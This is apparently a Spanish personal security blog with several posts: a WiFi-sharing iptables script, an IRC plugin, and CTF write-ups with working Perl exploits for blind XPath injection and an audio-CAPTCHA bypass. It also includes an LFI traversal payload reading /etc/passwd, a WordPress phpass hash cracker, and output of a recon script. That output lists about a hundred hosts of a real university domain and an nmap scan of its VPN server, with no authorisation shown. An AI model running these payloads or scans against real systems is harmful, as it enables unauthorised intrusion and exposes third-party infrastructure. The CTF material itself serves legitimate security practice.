[ Misc ] compartir conexion INET via WiFi ( under linux )
hay varias formas de compartir una conexion de internet . una de las mas sencillas es creando un punto ad-hoc, en gnu/linux la tarjeta inalambrica debe ser compatible con este modo .
El escenario de trabajo es una maquina ( pc ) con conexion ppp modem ( tambien puede ser ethernet ) como fuente de internet , y entregara un enlace a cualquier dispositivo que sea capaz de conectar a un punto inalambrico ( movil’s, pc’s, tables, notebooks, consolas de juegos,etc ).
INET PC ad-hoc dispositivo
Para compartir una conexion a internet se debe crear una pasarela entre interfaces del siguiente modo:
INET ; iface [ ppp|eth|wlan ] iface wlan ad-hoc wlan dispositivo
Para todo este trabajo hize un script usando iptables para enrutar y las herramientas para configurar interfaces (ifconfig, iwconfig ) .
#!/bin/bash clear echo echo "# WLAN0 MODO AD-HOC" iwconfig wlan0 mode ad-hoc echo "# AP ESSID phund" iwconfig wlan0 essid phund echo "# CHANNEL 8" iwconfig wlan0 channel 8 iwconfig wlan0 ap 88:9f:fa:4a:b2:cb echo "#############################" echo echo "# IPTABLES SET'S " iptables -F iptables -X iptables -Z iptables -t nat -F echo "# REGLAS :" echo " INPUT ACCEPT" echo " OUTPUT ACCEPT" echo " FORWARD ACCEPT" iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT echo " PREROUTING ACCEPT" echo " POSTROUTING ACCEPT" iptables -t nat -P PREROUTING ACCEPT iptables -t nat -P POSTROUTING ACCEPT echo " TODO INPUT LOCALHOST ACCEPT" iptables -A INPUT -i lo -j ACCEPT echo " DESDE 192.168.1.100 ACCEPT 22,80,8080" iptables -A INPUT -s 192.168.1.100 -d 0.0.0.0/0 -p tcp --dport 22 -j ACCEPT iptables -A INPUT -s 192.168.1.100 -d 0.0.0.0/0 -p tcp --dport 80 -j ACCEPT iptables -A INPUT -s 192.168.1.100 -d 0.0.0.0/0 -p tcp --dport 8080 -j ACCEPT echo " ACCESO LAN 192.168.1.0/24 IFACE ppp0 ACCEPT" iptables -A INPUT -s 192.168.1.0/24 -i ppp0 -j ACCEPT echo " ACCESO LAN 192.168.1.0/24 IFACE wlan0 ACCEPT" iptables -A INPUT -s 192.168.1.0/24 -i wlan0 -j ACCEPT echo " PUENTE ppp0 a wlan0" iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE iptables -A INPUT -s 192.168.1.0/24 -i wlan0 -j ACCEPT echo " FORWARDING ACTIVADO" echo 1 > /proc/sys/net/ipv4/ip_forward echo " SET IFACE WLAN0 192.168.1.1" ifconfig wlan0 192.168.1.1
Miramos las salidas de la ejecucion del script .
root@xxxxxxxxxxx:/home/xxxxx# sh iphone_net.sh # WLAN0 MODO AD-HOC # AP ESSID phund # CHANNEL 8 ############################# # IPTABLES SET'S # REGLAS : INPUT ACCEPT OUTPUT ACCEPT FORWARD ACCEPT PREROUTING ACCEPT POSTROUTING ACCEPT TODO INPUT LOCALHOST ACCEPT DESDE 192.168.1.100 ACCEPT 22,80,8080 ACCESO LAN 192.168.1.0/24 IFACE ppp0 ACCEPT ACCESO LAN 192.168.1.0/24 IFACE wlan0 ACCEPT PUENTE ppp0 a wlan0 FORWARDING ACTIVADO SET IFACE WLAN0 192.168.1.1
En resumen, acepta todo desde input,output,forward, prerouting, postrouting, acepta todo desde localhost, acepta desde 192.168.1.100 ( dispositivo enlazado ) en puertos 22,80,8080. acepta todo desde 192.168.1.0-255 de ppp0 ( modem ) y wlan0 ( dispositivo inalambrico ). crea puente, activa el bit forwaring para que los datos fluyan por la maquina ( pasarela ), y para terminar setea la ip gateway de la wlan0 ( ad-hoc ).
Ahora toca configurar el dispositivo, en este caso un telefono.

Se selecciona y configura la conexion ad-hoc como ip estatica .

Seteado ip de movil .100 , gateway .1 y las dns de google
.

Ya tenemos internet en el telefono …
FiNish HiM!!! I WIN!
Reproduccion Mocp + Xchat Plugin [Perl Code]
Como es mi ley, si te hace falta algo , hazlo tu mismo . asi que necesitaba algo que me mostrara que cosa estaba escuchando en el IRC , salio esto …
use strict; use Xchat qw(:all); # Autor : p0fk # Nombre : Mocp Play # Version : 0.1 ## 04/01/2012 Xchat::register( "Mocp Play", "0.1", "MUESTRA ARTISTA, ALBUM, CANCION EN REPRODUCCION MOCP", sub{} ); hook_command( "MOCP", sub { my $estado = `mocp -i | grep State | awk -F: '{print $2}'`; $estado =~ s#\n##; $estado =~ s#State: ##; if ( $estado ne "PLAY" ) { Xchat::print( "Estado de Mocp: " . $estado ); } else { my $artista = `mocp -i | sort -n | grep Artist | awk -F: '{print $2}'`; my $album = `mocp -i | sort -n | grep Album | awk -F: '{print $2}'`; my $cancion = `mocp -i | sort -n | grep SongTitle | awk -F: '{print $2}'`; $artista =~ s#\n##; $artista =~ s#Artist: ##; $album =~ s#\n##; $album =~ s#Album: ##; $cancion =~ s#\n##; $cancion =~ s#SongTitle: ##; if ( ( length($artista) < 1 ) or ( length($album) < 1 ) or ( length($cancion) < 1 ) ) { my $path = `mocp -i | grep File`; $path =~ s#File: ##; my @strips = split("/", $path); $strips[$#strips] =~ s#\.mp3|\.wav##ig; $strips[$#strips] =~ s#\n##; Xchat::command( "ME Escucha: [ ".$strips[$#strips]." ]"); } else { Xchat::command( "ME Escucha: [ ".$artista." ] . ".$album. " . ".$cancion); } } return EAT_XCHAT; });
Finish HIMM!!!
8dot8 Computer Security Conference, Solucion a challenge.dreamlab.net [ Exploits ] Part III
El tercer reto consistia en resolver 500 captchas, ( cosas que se vienen a la mente ) :
1.- Escribir a mano los 500 captchas a mano [X]
2.- Encontrar un bypass [X]
3.- Encontrar errores en la implementacion del captcha [✔]
Este sistema de captchas funcionaba de la siguiente manera: habian 2 formas de que nos de los caracteres para ser ingresados, la clasica imagen y mediante sonidos.
Aca estaba el error , al enviar la peticion y reproduce los caracteres cada uno con sus respectivos ogv.
Entonces el ataque se hacia armando una base de datos con los checksum de estos ogv.Una vez obtenida esta base de datos :
1.- peticion de captcha sonidos
2.- almaceno ogv + checksum
3.- mirar en la db checksum y reconocer caracter
4.- repetir estos pasos hasta resolver todos los caracteres
5.- enviar cadena de caracteres, captcha resuelto
Esta serie de pasos se enviaron con el respectivo exploit hasta cumplir los 500 captchas !
PD: Creditos a j03h quien agrego el checksum md5 a los archivos de audio .
use IO::Socket::SSL; use threads; use strict; use Audio::Digest::MP3; use Thread; # Exploited captchas # Coded by p0fk! # # Creditos : j03h my $session = ""; #sessionID my $thread = 2; my @threads; #my @envia = (1 .. $thread); #for (0 .. $thread-1){ # push @threads, threads->create(\&getCaptcha, $session); # } #sleep 1; #foreach my $join (@threads){ # $join->join(); # } getCaptcha( $session ); #imagenCaptcha($session); #print "Ingrese key:"; #my $key = ; #chomp($key); #getKey( $session , $key); sub audioAttack { my ( $sessionId, $data ) = @_; my $sslsock = IO::Socket::SSL->new("challenge.dreamlab.net:https") || warn "I encountered a problem: ".IO::Socket::SSL::errstr(); $sslsock->verify_hostname( 'challenge.dreamlab.net','http' ) || die "hostname verification failed"; print $sslsock "GET /challenges_dir/11/playAudio.php?audio=".$data." HTTP/1.1\r\n"; print $sslsock "Host: challenge.dreamlab.net\r\n"; print $sslsock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6\r\n"; print $sslsock "Accept: audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5\r\n"; print $sslsock "Accept-Language: en-us,en;q=0.5\r\n"; print $sslsock "Accept-Encoding: gzip,deflate\r\n"; print $sslsock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; print $sslsock "Referer: https://challenge.dreamlab.net/?page=challenge&cid=11\r\n"; print $sslsock "Cookie: ".$sessionId."\r\n"; print $sslsock "Connection: keep-alive\r\n\r\n"; open( AUDIO, '>', $data.".ogg") || die "NO SE PUEDE CREAR AUDIO"; while (){ print AUDIO $_; } close(AUDIO); my $md5sum = md5sum($data.".ogg"); my $testHash= checkHash($md5sum); if ( $testHash ne 0 ) { print "hash Encontrado:"; return $testHash; } else { print "[!] Hash no encontrado\n[!] ingrese nuevo Caracter: "; my $stdin = ; chomp($stdin); #saveHash($stdin.":".$md5sum); return $stdin.":".$md5sum; } } sub imagenCaptcha { my ( $sessionId) = @_; my $sslsock = IO::Socket::SSL->new("challenge.dreamlab.net:https") || warn "I encountered a problem: ".IO::Socket::SSL::errstr(); $sslsock->verify_hostname( 'challenge.dreamlab.net','http' ) || die "hostname verification failed"; print $sslsock "GET /challenges_dir/11/captcha.php HTTP/1.1\r\n"; print $sslsock "Host: challenge.dreamlab.net\r\n"; print $sslsock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6\r\n"; print $sslsock "Accept: image/png,image/*;q=0.8,*/*;q=0.5\r\n"; print $sslsock "Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; print $sslsock "Accept-Encoding: gzip, deflate\r\n"; print $sslsock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; print $sslsock "Cookie: ".$sessionId."\r\n"; print $sslsock "Connection: keep-alive\r\n\r\n"; open( IMAGEN, '>', "imagen.png") || die "NO SE PUEDE CREAR AUDIO"; binmode( IMAGEN ); my $status = 0; while (){ if ( $_ =~ m!CREATOR!ig ) { $status = 1; } if ( $status == 1 ) { print IMAGEN $_; } } close(IMAGEN); print "[+] Imagen Guardada\n"; } # sub getCaptcha { my $sessionId=shift; my $sslsock = IO::Socket::SSL->new("challenge.dreamlab.net:https") || warn "I encountered a problem: ".IO::Socket::SSL::errstr(); $sslsock->verify_hostname( 'challenge.dreamlab.net','http' ) || die "hostname verification failed"; print $sslsock "GET /?page=challenge&cid=11 HTTP/1.1\r\n"; print $sslsock "Host: challenge.dreamlab.net\r\n"; print $sslsock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6\r\n"; print $sslsock "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; print $sslsock "Accept-Language: en-us,en;q=0.5\r\n"; print $sslsock "Accept-Encoding: gzip,deflate\r\n"; print $sslsock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; print $sslsock "Cookie: ".$sessionId."\r\n"; print $sslsock "Connection: keep-alive\r\n\r\n"; my @array = (); while (){ if ( $_ =~ m!"(.*?)","(.*?)","(.*?)","(.*?)","(.*?)","x"!ig ) { push(@array, $1); push(@array, $2); push(@array, $3); push(@array, $4); push(@array, $5); push(@array, "x"); } } imagenCaptcha($sessionId); #system("gthumb imagen.jpg &"); my $sum1 = audioAttack($sessionId, $array[0]); my $sum2 = audioAttack($sessionId, $array[1]); my $sum3 = audioAttack($sessionId, $array[2]); my $sum4 = audioAttack($sessionId, $array[3]); my $sum5 = audioAttack($sessionId, $array[4]); my $sum6 = audioAttack($sessionId, $array[5]); my @infosum1 = miniParse($sum1); my @infosum2 = miniParse($sum2); my @infosum3 = miniParse($sum3); my @infosum4 = miniParse($sum4); my @infosum5 = miniParse($sum5); my @infosum6 = miniParse($sum6); print $infosum1[0].":".$infosum1[1]."\n"; print $infosum2[0].":".$infosum2[1]."\n"; print $infosum3[0].":".$infosum3[1]."\n"; print $infosum4[0].":".$infosum4[1]."\n"; print $infosum5[0].":".$infosum5[1]."\n"; print $infosum6[0].":".$infosum6[1]."\n"; if ( getKey( $sessionId , $infosum1[0].$infosum2[0].$infosum3[0].$infosum4[0].$infosum5[0]) == 1 ) { #print "[+] Resuelto ... save db.\n"; open( DB , '>>','db.txt'); print DB $infosum1[0].":".$infosum1[1]."\n"; print DB $infosum2[0].":".$infosum2[1]."\n"; print DB $infosum3[0].":".$infosum3[1]."\n"; print DB $infosum4[0].":".$infosum4[1]."\n"; print DB $infosum5[0].":".$infosum5[1]."\n"; print DB $infosum6[0].":".$infosum6[1]."\n"; system("rm *.ogg *.png"); getCaptcha( $session ); } } # sub miniParse{ my $hash = shift; my @return = (); @return = split(":", $hash); return @return; } sub getKey { # my ( $sessionId, $data ) = @_; my $sslsock = IO::Socket::SSL->new("challenge.dreamlab.net:https") || warn "I encountered a problem: ".IO::Socket::SSL::errstr(); $sslsock->verify_hostname( 'challenge.dreamlab.net','http' ) || die "hostname verification failed"; print $sslsock "GET /?captcha=".$data."&page=challenge&cid=11 HTTP/1.1\r\n"; print $sslsock "Host: challenge.dreamlab.net\r\n"; print $sslsock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6\r\n"; print $sslsock "Accept: audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5\r\n"; print $sslsock "Accept-Language: en-us,en;q=0.5\r\n"; print $sslsock "Accept-Encoding: gzip,deflate\r\n"; print $sslsock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; print $sslsock "Cookie: ".$sessionId."\r\n"; print $sslsock "Connection: keep-alive\r\n\r\n"; my $return = 0; while (){ #solved 2 CAPTCHAS if ( $_ =~ m!You've solved <em>(.*)</em> CAPTCHAS.!ig ) { print "CAPTCHAS RESUELTOS : $1\n"; $return = 1; last; } } return $return; } sub saveHash{ my $hash = shift; open(DB, '>>', 'db.txt'); print DB $hash."\n"; close(DB); #print "[+]Nuevo Hash Guardado\n"; } sub checkHash{ my $hash = shift; open(DB,') { if ( $_ =~ m!(.*?):(.*?)\n!ig ) { if( $2 eq $hash) { $return = "$1:$2\n"; last; } else { $return = 0; } } } return $return; } sub md5sum{ my $file = shift; my $streaminfo = Audio::Digest::MP3->scan($file, 'MD5'); return $streaminfo->digest; }
Finish HiMM!
8dot8 Computer Security Conference, Solucion a challenge.dreamlab.net [ Exploits ] Part II
El segundo reto sobre Xpath injection, consistia en un formulario donde habia que logearse como usuario admin, este usuario “admin” ya estaba seteado previamente.
https://challenge.dreamlab.net/?page=challenge&cid=8&user=1
cid : numero de reto
user: id de usuario
al cambiar la variable “user” era posible enumerar los usuario validos en el formulario.
Las consultas son similares a las de SQL y las bases de datos son XML, asi que no es mucha la diferencia . primero las consultas basicas para mirar el entorno :
Cantidad de rows passwd:
https://challenge.dreamlab.net/?page=challenge&cid=8&user=count(//password/child::node())
#5
Hay 5 rows de passwd , era un poco obvio ya que era 5 los usuarios validos al enumerarlos ( &user=N° ) .
Longitud de password:
https://challenge.dreamlab.net/?page=challenge&cid=8&user=string-length(//password[position()=1]/child::node()[position()=1])%3C=11
#11 = longitud password
string-length = 11 , donde la position() de //password era igual a 1.
Me interesaba la position()=1 ya que era el primer user “admin”.
ahora como todo blind injection hay que buscar el caracter valido del string, hasta que nos suelte la password.
https://challenge.dreamlab.net/?page=challenge&cid=8&user=substring((//password[position()=1]/child::node()[position()=1]),1,1)=%22i%22
Cada vez que pille un caracter valido nos devolvera un valor TRUE, en este caso “i” el primer caracter de la clave.
Ahora lo para automatizar todas estas inyecciones de mierda , el exploit que nos devolvera la password de admin o’/ .
use IO::Socket::SSL; use threads; use strict; use Digest::MD5; my $session = ""; #sessionID ## coded by p0fk! print "# Exploit challenge dreamlab.net xpath blind\n\n"; my @all = (32 ... 126); my @car = (90 ... 122); my @num = (48 ... 57 ); my @may = (64 ... 90 ); #my $guia=10; for ($guia=1; $guia) { my $char = chr($_); if ( blind($session, $char, $guia) == 1 ) { print "# found[$guia]: ".$char."\n"; last; } } } sub blind { # my ( $sessionId, $char, $largo) = @_; my $sslsock = IO::Socket::SSL->new("challenge.dreamlab.net:https") || warn "FUUUUUUUU!!!!".IO::Socket::SSL::errstr(); $sslsock->verify_hostname( 'challenge.dreamlab.net','http' ) || die "hostname verification failed"; print $sslsock "GET /?page=challenge&cid=8&user=substring((//password[position()=1]/child::node()[position()=1]),".$largo.",1)='".$char."' HTTP/1.1\r\n"; print $sslsock "Host: challenge.dreamlab.net\r\n"; print $sslsock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6 (Debian-3.0.6-1)\r\n"; print $sslsock "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; print $sslsock "Accept-Language: en-us,en;q=0.5\r\n"; print $sslsock "Accept-Encoding: gzip,deflate\r\n"; print $sslsock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; print $sslsock "Cookie: ".$sessionId."\r\n"; print $sslsock "Connection: keep-alive\r\n\r\n"; my $return = 0; while () { while ( $_ =~ m! <input id="user" type="text" name="user" value="(.*?)" /> !ig ) { if ( $1 eq "admin" ) { $return = 1; last; } } } return $return; }
# Exploit challenge dreamlab.net xpath blind # found[1]: i # found[2]: L # found[3]: o # found[4]: v # found[5]: e # found[6]: P # found[7]: w # found[8]: n # found[9]: i # found[10]: e # found[11]: s # us: admin # pw: iLovePwnies
Finish HIM!!!
8dot8 Computer Security Conference, Solucion a challenge.dreamlab.net [ Exploits ] Part I
Para la conferencia 8dot8 realizado el pasado 18 de noviembre, se preparo un challenge una competencia donde los ganadores ( por sorteo ), tenian como premio 1,2 o 3 entradas a este evento .
Como buen pirata , era una opcion para conseguir entradas gratis. Los retos realizados por dreamlab.net eran 3 :
1.- Inclusion Local de Archivos [ LFI ]
2.- Inyeccion Xpath
3.- Captchas
El primero de los retos era relativamente sencillo. Primero y lo logico en el test era buscar algun tipo de error ingresando comillas o corchetes lo que boto da una idea donde estan los errores y donde se ubica el script.
/home/dreamlab/www/challenge.dreamlab.net/challenges_dir/7/challenge.inc on line 13
Lo que daba una pista de como ingresaba la url y como era filtrada en el script lo mostraba el mismo html donde por ejemplo se enviaba “../”
daba un mensaje de error sin ningun contenido .
si se enviaba un “..//” , lanzaba el error y “/” en html,lo que indica que “/” es reemplazado por “”.
si era enviado ….//, lanzaba un error “../” en html, entonces lo que era reemplazado era “..” y los “/” .
https://challenge.dreamlab.net/?page=challenge&cid=7&inc_page=….//….//….//….//….//etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
news:x:9:13:News system:/etc/news:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
games:x:12:100:Games account:/var/games:/bin/bash man:x:13:62:Manual pages
PoC wordpress Crack
Esto lo tenia en algun lugar de mi pc, es un bruteforce que utiliza la libreria de wordpress para recojer el algoritmo de phpass.
La prueba de concepto de el bruter utiliza un pequeño array como diccionario, este codigo puede ser modificado para que tome una lista mas grande u optimizar.
xxxxxxxxxx@xxxxxxxxxx:~/Biohazard$ cat crackPhpass.php <?PHP include("./class-phpass.php"); echo "PoC wpCrack [phpass]\n"; $list = array('uno', '11', 'zaap', 'aspen','chuuupamela', 'aispiriouu11'); $hashdb = '$P$BL.y.8gXQupEbhZvWiDud2Md/l7TXC/'; foreach ( $list as $word ) { echo "TESTING: $word\n"; if ( crackPhpass($word, $hashdb) ){ echo "CRACK FOUND.\n"; echo "HASH :$hashdb\n"; echo "PWD :$word\n"; exit(0); } else { echo "CRACK NO FOUND.\n"; } } function crackPhpass( $word, $hashdb ) { $hasher = new PasswordHash(8, TRUE); $hash = $hasher->HashPassword($word); return ($hasher->CheckPassword($word, $hashdb) ) ? TRUE : FALSE; } ?>
xxxxxxxxxx@xxxxxxxxxx:~/Biohazard$ php crackPhpass.php PoC wpCrack [phpass] TESTING: uno CRACK NO FOUND. TESTING: 11 CRACK NO FOUND. TESTING: zaap CRACK NO FOUND. TESTING: aspen CRACK NO FOUND. TESTING: chuuupamela CRACK NO FOUND. TESTING: aispiriouu11 CRACK FOUND. HASH :$P$BL.y.8gXQupEbhZvWiDud2Md/l7TXC/ PWD :aispiriouu11
# Inyeccion SQL basado en information_schema [ mysql ]
# Inyeccion SQL basado en information_schema [ mysql ]
# Metodo Union Injection
# Mysql >= 5.0.2
# http://Www.mitm.cl
Para comprender este texto deben tener conocimientos basicos de sql y tener una
idea de que es una inyeccion sql, ya que no voy a definir estos conceptos.
Cuando estamos haciendo pentesting a nivel web , una de las infaltables bug que chequeamos son las famosas
inyecciones sql . metodos de testeos hay muchos , algunos usan sus propias herramientas, otros usan herramientas
como sqlmap, o havij, y algunos lo hacen a mano ( para practicar o sacar querys que herramientas no sacan ) .
Cuando tenemos un target vulnerable a sqli y comenzamos a sacar los datos , uno de los primeros pasos
es saber la estructura de las dbs que tenemos acceso, para sacar las estructuras de datos o “por la razon o la fuerza” ( bruteforce ) ,
o usamos information_schema ( valido tambien para SQL SERVER ).
Information_schema es una db que contiene metadatos de la db que tengamos acceso, metadatos como privilegios de
accesos, tablas, columnas y bases de datos.
* http://dev.mysql.com/doc/refman/5.0/es/information-schema.html
http://forum.mitm.cl/index.php?topic=68.0
Linea Roja v1.2 [ Enumeration Testing ]
Como dije alguna vez, uno de los pasos para el penetration testing en la enumeracion de maquinas.
Por lo que saque la version 1.2 de “LineaRoja” , lo que hace basicamente es tomar maquinas basados en el dominio por ejemplo en el test chequee: “ugr.es” … empieza el checking buscando posibles transferencias de zonas, en caso de no obtenerlas empieza el brute force… de aqui saca los rangos de ip y crea un backup, para posterior uso.
El script usa menus para su trabajo , despues de obtener el backup del dominio usa nmap para enumerar servicios y es mas facil tener el vector de ataque, dejo un log de “lineaRoja v1.2″…
\ . ./ \ .:";'.:.." " (^.^~~:.'"). - (/ . . . \ \) - O ((| :. ~ ^ :. .|)) |\ - (\- | \ / | /) - | T -\ \ / /- / \[_]..........................\ \ / / # LINEA ROJA SCRIPT ENUMERATION # Coded by p0fk! [#] Working... [!] Limpiando Archivos Dumps 1. Explotar dominio 2. Usar backup File 3. Salir >\ 1 [+] Ingrese dominio ugr.es [+] ZoneTranfers Check [*] 150.214.35.10 1 - aviion1.ugr.es. [*] 130.206.1.3 2 - chico.rediris.es. [*] 150.214.5.83 3 - dns1.cica.es. [*] 150.214.4.35 4 - dns2.cica.es. [*] 150.214.218.4 5 - dns2.ugr.es. [*] 150.214.191.10 6 - dns3.ugr.es. [*] 130.206.1.2 7 - sun.rediris.es. [!] ZoneTransfer Fail. [+] BruteForce WordList: 1913 1. Explotar dominio 2. Usar backup File 3. Salir >\ 2 [+] Ingrese dominio ugr.es [+] Detectado Archivo Dump 1. Servicios Todos los targets 2. Servicios Target especifico 3. Ver Targets 4. Salir >\ 3 150.214.102.27 [>] newton.ugr.es. 150.214.102.50 [>] hal.ugr.es. 150.214.16.150 [>] b1.ugr.es. 150.214.16.51 [>] prensa.ugr.es. 150.214.18.202 [>] spock.ugr.es. 150.214.18.208 [>] pi.ugr.es. 150.214.18.249 [>] eagle.ugr.es. 150.214.18.65 [>] oscar.ugr.es. 150.214.18.73 [>] gauss.ugr.es. 150.214.190.114 [>] pegasus.ugr.es. 150.214.190.81 [>] titan.ugr.es. 150.214.190.84 [>] io.ugr.es. 150.214.190.95 [>] vip.ugr.es. 150.214.191.10 [>] dns3.ugr.es. 150.214.191.119 [>] white.ugr.es. 150.214.191.137 [>] leo.ugr.es. 150.214.191.139 [>] virginia.ugr.es. 150.214.191.151 [>] silver.ugr.es. 150.214.191.2 [>] odin.ugr.es. 150.214.191.200 [>] voyager.ugr.es. 150.214.191.200 [>] voyager.ugr.es. 150.214.191.3 [>] solaris.ugr.es. 150.214.191.57 [>] enterprise.ugr.es. 150.214.19.166 [>] foto.ugr.es. 150.214.192.102 [>] nv.ugr.es. 150.214.192.104 [>] mac3.ugr.es. 150.214.19.211 [>] webcam.ugr.es. 150.214.192.114 [>] sierra.ugr.es. 150.214.192.130 [>] isa.ugr.es. 150.214.19.215 [>] foro.ugr.es. 150.214.192.151 [>] iris.ugr.es. 150.214.192.165 [>] abc.ugr.es. 150.214.192.201 [>] zeus.ugr.es. 150.214.192.219 [>] mac5.ugr.es. 150.214.192.78 [>] phoenix.ugr.es. 150.214.194.195 [>] nevada.ugr.es. 150.214.198.211 [>] pc2.ugr.es. 150.214.198.213 [>] pc3.ugr.es. 150.214.198.219 [>] pc10.ugr.es. 150.214.199.115 [>] legal.ugr.es. 150.214.199.166 [>] venus.ugr.es. 150.214.199.57 [>] id.ugr.es. 150.214.199.74 [>] ppp2.ugr.es. 150.214.200.145 [>] skywalker.ugr.es. 150.214.20.186 [>] rc.ugr.es. 150.214.20.200 [>] radius.ugr.es. 150.214.20.23 [>] web.ugr.es. 150.214.20.23 [>] web.ugr.es. 150.214.20.23 [>] web.ugr.es. 150.214.20.3 [>] imap.ugr.es. 150.214.203.47 [>] time.ugr.es. 150.214.203.48 [>] core.ugr.es. 150.214.203.96 [>] orion.ugr.es. 150.214.205.1 [>] vpn0.ugr.es. 150.214.205.2 [>] vpn1.ugr.es. 150.214.20.60 [>] correo.ugr.es. 150.214.20.82 [>] backup.ugr.es. 150.214.209.97 [>] patch.ugr.es. 150.214.21.254 [>] om.ugr.es. 150.214.21.30 [>] test.ugr.es. ofisl.ugr.es. [>] sl.ugr.es. 150.214.218.106 [>] multimedia.ugr.es. 150.214.218.192 [>] canon.ugr.es. 150.214.218.4 [>] dns2.ugr.es. 150.214.218.40 [>] ia.ugr.es. 150.214.218.40 [>] ia.ugr.es. 150.214.219.148 [>] win.ugr.es. 150.214.219.170 [>] pc.ugr.es. 150.214.21.95 [>] personal.ugr.es. 150.214.22.241 [>] mac11.ugr.es. 150.214.22.9 [>] sw1.ugr.es. 150.214.25.111 [>] bravo.ugr.es. 150.214.25.127 [>] mac.ugr.es. 150.214.25.240 [>] victor.ugr.es. 150.214.30.42 [>] marketing.ugr.es. 150.214.31.164 [>] serv.ugr.es. 150.214.32.167 [>] thor.ugr.es. 150.214.32.172 [>] omega.ugr.es. 150.214.33.174 [>] sacramento.ugr.es. 150.214.34.64 [>] documentacion.ugr.es. 150.214.35.16 [>] dm.ugr.es. 150.214.35.29 [>] mail2.ugr.es. 150.214.35.30 [>] mail.ugr.es. 150.214.35.31 [>] mail3.ugr.es. 150.214.35.90 [>] internet.ugr.es. 150.214.36.117 [>] vega.ugr.es. 150.214.36.22 [>] user.ugr.es. 150.214.36.239 [>] dragon.ugr.es. 150.214.36.244 [>] bea.ugr.es. 150.214.36.60 [>] sm.ugr.es. 150.214.36.77 [>] edu.ugr.es. 150.214.37.96 [>] israel.ugr.es. 150.214.38.73 [>] pc1.ugr.es. 150.214.60.153 [>] david.ugr.es. 150.214.60.157 [>] canada.ugr.es. 150.214.61.192 [>] homer.ugr.es. 150.214.61.200 [>] smc.ugr.es. 150.214.61.251 [>] macintosh.ugr.es. 150.214.61.54 [>] ar.ugr.es. 150.214.62.184 [>] acceso.ugr.es. 150.214.64.61 [>] hermes.ugr.es. 150.214.65.81 [>] scanner.ugr.es. 150.214.66.160 [>] general.ugr.es. 150.214.66.95 [>] servidor.ugr.es. 150.214.67.74 [>] pc12.ugr.es. 150.214.95.57 [>] desarrollo.ugr.es. 1. Servicios Todos los targets 2. Servicios Target especifico 3. Ver Targets 4. Salir >\ 2 [*] Ingrese IP: 150.214.205.1 [+] 1 .- NMAP NSE [+] 2 .- NMAP DECOY [+] 3 .- NMAP AGRESIVE >\ 1[/code] [code]Starting Nmap 5.51 ( http://nmap.org ) at 2011-08-26 20:45 CLT NSE: Loaded 166 scripts for scanning. NSE: Starting runlevel 1 (of 3) scan. NSE: Script Pre-scanning. Initiating NSE at 20:45 Completed NSE at 20:45, 5.00s elapsed NSE: Starting runlevel 2 (of 3) scan. NSE: Starting runlevel 3 (of 3) scan. Initiating Parallel DNS resolution of 1 host. at 20:45 Completed Parallel DNS resolution of 1 host. at 20:45, 1.49s elapsed Initiating SYN Stealth Scan at 20:45 Scanning vpn0.ugr.es (150.214.205.1) [1000 ports] Discovered open port 443/tcp on 150.214.205.1 Discovered open port 1723/tcp on 150.214.205.1 Discovered open port 3389/tcp on 150.214.205.1 Discovered open port 5900/tcp on 150.214.205.1 Discovered open port 80/tcp on 150.214.205.1 Discovered open port 53/tcp on 150.214.205.1 Discovered open port 21/tcp on 150.214.205.1 Discovered open port 2002/tcp on 150.214.205.1 Discovered open port 2001/tcp on 150.214.205.1 Discovered open port 1038/tcp on 150.214.205.1 Discovered open port 1035/tcp on 150.214.205.1 Discovered open port 2000/tcp on 150.214.205.1 Discovered open port 5800/tcp on 150.214.205.1 Discovered open port 1040/tcp on 150.214.205.1 Discovered open port 1031/tcp on 150.214.205.1 Discovered open port 1034/tcp on 150.214.205.1 Discovered open port 42/tcp on 150.214.205.1 Discovered open port 49/tcp on 150.214.205.1 Discovered open port 1032/tcp on 150.214.205.1 Discovered open port 3300/tcp on 150.214.205.1 Completed SYN Stealth Scan at 20:45, 16.98s elapsed (1000 total ports) Initiating Service scan at 20:45 Scanning 20 services on vpn0.ugr.es (150.214.205.1) NSE: Script scanning 150.214.205.1. Initiating NSE at 21:10 Completed NSE at 21:10, 1.68s elapsed NSE: Starting runlevel 3 (of 3) scan. Nmap scan report for vpn0.ugr.es (150.214.205.1) Host is up (0.26s latency). Scanned at 2011-08-26 20:45:37 CLT for 1475s Not shown: 973 closed ports PORT STATE SERVICE VERSION 21/tcp open tcpwrapped 25/tcp filtered smtp 42/tcp open wins Microsoft Windows Wins 49/tcp open tcpwrapped 53/tcp open domain Microsoft DNS 80/tcp open http Microsoft IIS httpd 5.0 | http-brute: |_ ERROR: No path was specified (see http-brute.path) |_citrix-brute-xml: FAILED: No domain specified (use ntdomain argument) | http-form-brute: |_ ERROR: No uservar was specified (see http-form-brute.uservar) |_http-malware-host: Host appears to be clean 